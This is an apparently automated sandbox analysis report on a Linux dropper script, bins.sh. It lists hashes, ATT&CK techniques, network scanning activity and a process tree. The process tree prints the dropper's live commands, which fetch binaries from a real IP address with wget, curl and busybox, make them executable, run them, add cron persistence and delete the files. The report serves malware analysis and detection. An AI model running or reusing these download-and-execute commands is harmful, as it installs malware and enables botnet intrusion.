b75af69f7828a5dc87aeea59d4a9735e7825ca20f581177d2346a8f7098e0610

General

Target

bins.sh
Size

10KB
MD5

5e987a3c0526f8274247f5dd4415cf62
SHA1

14f1df37fa9b1a51b72c3fd0626ba9b29c235ca2
SHA256

b75af69f7828a5dc87aeea59d4a9735e7825ca20f581177d2346a8f7098e0610
SHA512

5c796a630626ab0c5e5666da1310fbda8f494a7c943c4620e6dfcfa7dc7f16aad86c2bfde629e4cc4e48563158df3df0eb7bfd25cddfdb789b9f8e4cb01a1d40
SSDEEP

192:m1d2ui279ls7xxfksBfrzMULG6+7pJgaMUqK7DHBVdpVdJVdwfZf5fmx1K7G6SfG:yM8chKPdPdvd0K+dPdvdD

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1853) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1489 chmod
Executes dropped EXE 1 IoCs

Processes:

ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

ioc pid process

/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC 1490 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
Renames itself 1 IoCs

Processes:

ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

pid process

1491 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.o4W60u crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1489	chmod

ioc	pid	process
/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC	1490	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

pid	process
1491	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.o4W60u	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

description	ioc	process
File opened for reading	/proc/1255/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1472/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1578/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1591/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/334/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1602/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1604/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1662/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1517/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/467/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/553/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1273/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1521/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1586/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1708/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/82/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1119/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1696/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1728/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/30/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/455/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1617/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1678/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/20/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1171/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1566/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1682/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1683/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1730/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/538/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1228/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1510/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1548/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1636/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1676/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1702/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1105/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/956/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/461/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1526/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1677/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1697/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/443/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/589/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/906/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1536/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1569/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1581/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1669/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/161/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/335/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1516/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1533/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1544/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1589/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1614/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1671/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/10/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1686/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/19/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1467/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1478/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
File opened for reading	/proc/1599/cmdline	ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC	wget
File opened for modification	/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC	curl
File opened for modification	/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1472
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1473
- /usr/bin/wget
  wget http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  ./ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1490
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1492
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1493
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1495
- /bin/rm
  rm ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
  2⤵
  PID:1497
- /usr/bin/wget
  wget http://87.120.125.191/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
  2⤵
  PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.o4W60u

Filesize
210B

MD5
bbb599f7983604633cfd376b7c314f1a

SHA1
125678b40c96d1f0a2c6b758e76945227b56249c

SHA256
91427470b088dfbcae017a88533b434a51a5f78732b541796e7bf8fa129f1d80

SHA512
5a1d46b042cdea09295076847a90f3118a53e70fbae1fc46b846cf9e7d78966819f9baeb65a88647d51ce2bd4d36f481019060804adaac174dacaa432c6d0dbc

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads